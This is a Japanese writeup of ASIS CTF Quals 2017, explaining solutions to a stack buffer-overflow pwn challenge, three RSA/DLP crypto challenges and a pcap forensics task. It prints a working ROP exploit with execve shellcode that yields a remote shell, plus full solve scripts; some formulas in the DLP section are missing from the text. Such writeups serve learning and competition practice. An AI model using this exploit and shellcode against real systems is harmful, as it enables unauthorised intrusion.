ASIS CTF Quals 2017 Writeup
https://asis-ctf.ir/challenges/
今回は一人で参加しました。
7問解き、763点で65位でした。
初めてpwnをコンテスト中に解いたので満足。
Writeup
Welcome! (Trivia 1), CTF Survey (Trivia 9)
サービス問題
Start (Warm-up, Pwning 89)
こちらの資料がとても参考になりました。
https://speakerdeck.com/bata_24
バイナリが渡されます。文字列を入力してもなにも返ってきません。
ubuntu-xenial% ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254 AAA ubuntu-xenial%
objdumpしたらreadをしているだけでした。書き込み先が[rbp-0x10]なのに0x400バイト読みこんでいるので明らかにバッファオーバーフローします。
ubuntu-xenial% objdump -d -M intel Start_7712e67a188d9690eecbd0c937dfe77dd209f254 ... 400526: 55 push rbp 400527: 48 89 e5 mov rbp,rsp 40052a: 48 83 ec 20 sub rsp,0x20 40052e: 89 7d ec mov DWORD PTR [rbp-0x14],edi 400531: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi 400535: 48 8d 45 f0 lea rax,[rbp-0x10] 400539: ba 00 04 00 00 mov edx,0x400 40053e: 48 89 c6 mov rsi,rax 400541: bf 00 00 00 00 mov edi,0x0 400546: e8 b5 fe ff ff call 400400 <read@plt> 40054b: b8 00 00 00 00 mov eax,0x0 400550: c9 leave 400551: c3 ret ...
そしてcanary, NXが無効化されています。
ubuntu-xenial% checksec -f Start_7712e67a188d9690eecbd0c937dfe77dd209f254 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 01Start_7712e67a188d9690eecbd0c937dfe77dd209f254
ここで、スタックにシェルコードを入れて実行すると決め込んでしまいました。(方針ミスに気付くのに一日かかった…)
スタックはASLRによって実行ごとにアドレスが変わるのでシェルコードを仕込んでも簡単にはそこに飛ばすことができません。jmp rspなどのgadgetがあればROPによってスタック上のコードを実行することができますが今回はreadしかしていないとても短い実行ファイルなのでそのようなgadgetはありませんでした。
メモリマップを見ると.bssや.dataなどの0x601000から0x602000は書き込み可能、実行可能になっています。また、ASLRの影響を受けません。
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254 0x00600000 0x00601000 r-xp /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254 0x00601000 0x00602000 rwxp /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254 0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp mapped 0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp mapped 0x00007ffff7ff6000 0x00007ffff7ff8000 rwxp mapped 0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped 0x00007ffffffde000 0x00007ffffffff000 rwxp [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
ということでシェルコードをbssセクションに書き込んで実行させるスクリプトを書きました。
1回目のreadでROPのペイロードを渡して、2回目のreadでシェルコードを渡しています。
#!/usr/bin/env python2 from ppapwn import * import sys import time if __name__ == '__main__': if len(sys.argv) == 1: s = Local("./Start_7712e67a188d9690eecbd0c937dfe77dd209f254") else: s = Remote("139.59.114.220",10001) shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" read_plt = 0x400400 shellcode_addr = 0x601050 # .bss pop_rsi = 0x4005c1 # pop rsi ; pop r15 ; ret payload = "A" * 0x18 payload += p64(pop_rsi) payload += p64(shellcode_addr) payload += p64(0) # dummy payload += p64(read_plt) payload += p64(shellcode_addr) # jump to shellcode print "[*] Sending payload" s.send(payload) time.sleep(0.1) print "[*] Sending shellcode" s.send(shellcode) s.interact()
ubuntu-xenial% ./exploit.py a [*] Sending payload [*] Sending shellcode [*] Switching to interactive mode $ ls flag start $ cat flag ASIS{y0_execstack_saves_my_l1f3}
フラグからしてスタックでもシェルコードを実行できるのだろうか。
A fine OTP server (Crypto 74)
暗号化されたワンタイムパスワードを復号する問題。
ubuntu-xenial% nc 66.172.27.77 35156 |-------------------------------------| | Welcome to the S3cure OTP Generator | |-------------------------------------| | Guess the OTP and get the nice flag!| | Options: [F]irst encrypted OTP [S]econd encrypted OTP [G]uess the OTP [P]ublic key [E]ncryption function [Q]uit E def gen_otps(): template_phrase = 'Welcome, dear customer, the secret passphrase for today is: ' OTP_1 = template_phrase + gen_passphrase(18) OTP_2 = template_phrase + gen_passphrase(18) otp_1 = bytes_to_long(OTP_1) otp_2 = bytes_to_long(OTP_2) nbit, e = 2048, 3 privkey = RSA.generate(nbit, e = e) pubkey = privkey.publickey().exportKey() n = getattr(privkey.key, 'n') r = otp_2 - otp_1 if r < 0: r = -r IMP = n - r**(e**2) if IMP > 0: c_1 = pow(otp_1, e, n) c_2 = pow(otp_2, e, n) return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2
2つのパスワードを暗号化してるので暗号文の差を取って鍵を求めたりするのかと感じました。(罠でした)
暗号化する文字列は78文字であるため、三乗しても2048ビットのnを超えることはありません。よって三乗根を取ればパスワードが得られます。
#!/usr/bin/env python2 from ppapwn import * from Crypto.Util.number import long_to_bytes def cbrt(x): l = 0; r = 1<<78*8 while (l + 1 < r): m = (l + r) // 2 if m ** 3 <= x: l = m else: r = m return l if __name__ == '__main__': s = Remote("66.172.27.77", 35156) s.recvuntil("[Q]uit\n") s.sendline("F") c_1 = int(s.recvline()) s.sendline("S") c_2 = int(s.recvline()) otp_1 = long_to_bytes(cbrt(c_1)) otp_2 = long_to_bytes(cbrt(c_2)) print otp_1 print otp_2 s.sendline("G") s.sendline(otp_1[-18:]) s.recvline() print s.recvline() s.close()
ubuntu-xenial% ./solve.py Welcome, dear customer, the secret passphrase for today is: QefgZREDBHTeKJIhwF Welcome, dear customer, the secret passphrase for today is: TFPV8Z8VXzTaHzsG87 Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}
Secured OTP server (Crypto 268)
ubuntu-xenial% nc 66.172.33.77 12431 |-------------------------------------| | Welcome to the S3cure OTP Generator | |-------------------------------------| | Guess the OTP and get the nice flag!| | Options: [F]irst encrypted OTP [S]econd encrypted OTP [G]uess the OTP [P]ublic key [E]ncryption function [Q]uit E def gen_otps(): template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: ' OTP_1 = template_phrase + gen_passphrase(18) OTP_2 = template_phrase + gen_passphrase(18) otp_1 = bytes_to_long(OTP_1) otp_2 = bytes_to_long(OTP_2) nbit, e = 2048, 3 privkey = RSA.generate(nbit, e = e) pubkey = privkey.publickey().exportKey() n = getattr(privkey.key, 'n') r = otp_2 - otp_1 if r < 0: r = -r IMP = n - r**(e**2) if IMP > 0: c_1 = pow(otp_1, e, n) c_2 = pow(otp_2, e, n) return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2
今度は暗号化する文字列が長いため、三乗すると2048ビットを超えます。bytes_to_longで変換すると'*****...'の部分は上位ビットになります。したがって三乗したときにmod nから溢れる分はパスワードによらず同じになります。適当にパスワードを作って三乗し、nで割ることで溢れる分が計算できます。あとはその分を暗号文に足して三乗根を取ればパスワードがわかります。
#!/usr/bin/env python2 from ppapwn import * from Crypto.Util.number import long_to_bytes, bytes_to_long from Crypto.PublicKey import RSA import string def cbrt(x): l = 0; r = 1<<100*8 while (l + 1 < r): m = (l + r) // 2 if m ** 3 <= x: l = m else: r = m return l if __name__ == '__main__': template = "*************** Welcome, dear customer, the secret passphrase for today is: " + "A" * 18 s = Remote("66.172.33.77", 12431) s.recvuntil("[Q]uit\n") s.sendline("F") c_1 = int(s.recvline()) s.sendline("S") c_2 = int(s.recvline()) s.sendline("P") s.recvline() pubkey = RSA.importKey(s.recvuntil("-----END PUBLIC KEY-----\n")) n = getattr(pubkey, "n") k = (bytes_to_long(template) ** 3) // n otp_1 = long_to_bytes(cbrt(c_1+k*n)) otp_2 = long_to_bytes(cbrt(c_2+k*n)) print otp_1 print otp_2 s.sendline("G") s.sendline(otp_1[-18:]) s.recvuntil(":) ") print s.recvline() s.close()
ubuntu-xenial% ./solve.py *************** Welcome, dear customer, the secret passphrase for today is: kIL54hVQRZqCZ94953 *************** Welcome, dear customer, the secret passphrase for today is: tyTx8Lb5bmvMP8nRFt ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}
DLP (Crypto 158)
ubuntu-xenial% nc 146.185.143.84 28416 |-------------------------------------| | Welcome to the DLP message Encryptor| |-------------------------------------| | Find the FLAG and get the points!!!!| | Options: | [E]ncrypted FLAG | [P]ublic key | [C]ryptography function | [Q]uit C def encrypt(nbit, msg): msg = bytes_to_long(msg) p = getPrime(nbit) q = getPrime(nbit) n = p*q s = getPrime(4) enc = pow(n+1, msg, n**(s+1)) return n, enc
メッセージを数値化したものをとするとを計算しています。つまり、。まず、は1とわかっているので1を引いておきます。。これをでmodを取ればが残るので最後にで割ってがわかります。
#!/usr/bin/env python2 from ppapwn import * from Crypto.Util.number import long_to_bytes if __name__ == '__main__': s = Remote("146.185.143.84", 28416) s.sendline("E") s.recvuntil("enc = ") enc = int(s.recvline()) s.sendline("P") s.recvuntil("n = ") n = int(s.recvline()) print long_to_bytes((enc - 1) % (n*n) // n)
ubuntu-xenial% ./solve.py ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}
Piper TV
拡張子のないファイルが渡されます。
ubuntu-xenial% file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387 PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
tcpdumpで得たファイルのようなので拡張子をpcapに変えてwiresharkで開くとTCPがずっと続いています。
一方的にデータを送っているようだったので「追跡->TCPストリーム->RAW形式->Save as...」でファイルに保存してみました。
ubuntu-xenial% file saved saved: MPEG transport stream data
MPEGだったので拡張子を変えて再生したらフラグを得られました。
感想
ライブラリを整えたらだいぶ楽になった気がする。
多くの人が解いていたR Re Red ...とSecured Portalは解きたかった。